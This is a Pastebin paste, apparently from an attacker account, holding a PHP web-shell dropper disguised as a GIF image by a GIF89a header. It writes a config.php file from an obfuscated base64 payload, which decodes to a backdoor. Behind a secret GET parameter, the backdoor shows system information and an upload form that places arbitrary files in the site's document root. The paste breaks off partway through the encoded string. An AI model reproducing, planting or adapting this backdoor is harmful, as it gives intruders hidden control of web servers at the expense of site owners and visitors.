blackhat1337

Untitled

Jul 16th, 2022
635
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. GIF89a;
  2. <?php
  3. if (file_exists("config.php")){
  4. }else{
  5. $img = fopen('config.php', 'w');
  6. $sec = base64_decode("Cjw/cGhwIGlmKCRfR0VUWydVQksnXSA9PSAnMycpIHsgZWNobyAiPGI+Ii5waHBfdW5hbWUoKS4iPC9iPjxicj4iOyBlY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPiAJIDxpbnB1dCB0eXBlPSdmaWxlJyBuYW1lPSdpZHhfZmlsZSc+IAkgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndXBsb2FkJyB2YWx1ZT0ndXBsb2FkJz4gCSA8L2Zvcm0+IjsgJHJvb3QgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOyAkZmlsZXMgPSAkX0ZJTEVTWydpZHhfZmlsZSddWyduYW1lJ107ICRkZXN0ID0gJHJvb3QuJy8nLiRmaWxlczsgaWYoaXNzZXQoJF9QT1NUWyd1cGxvYWQnXSkpIHsgCWlmKGlzX3dyaXRhYmxlKCRyb290KSkgeyAJCWlmKEBjb3B5KCRfRklMRVNbJ2lkeF9maWxlJ11bJ3RtcF9uYW1lJ10sICRkZXN0KSkgeyAJCQkkd2ViID0gImh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iLyI7IAkJCWVjaG8gInN1a3NlcyB1cGxvYWQgLT4gPGEgaHJlZj0nJHdlYi8kZmlsZXMnIHRhcmdldD0nX2JsYW5rJz48Yj48dT4kd2ViLyRmaWxlczwvdT48L2I+PC9hPiI7IAkJfSBlbHNlIHsgCQkJZWNobyAiZ2FnYWwgdXBsb2FkIGRpIGRvY3VtZW50IHJvb3QuIjsgCQl9IAl9IGVsc2UgeyAJCWlmKEBjb3B5KCRfRklMRVNbJ2lkeF9ma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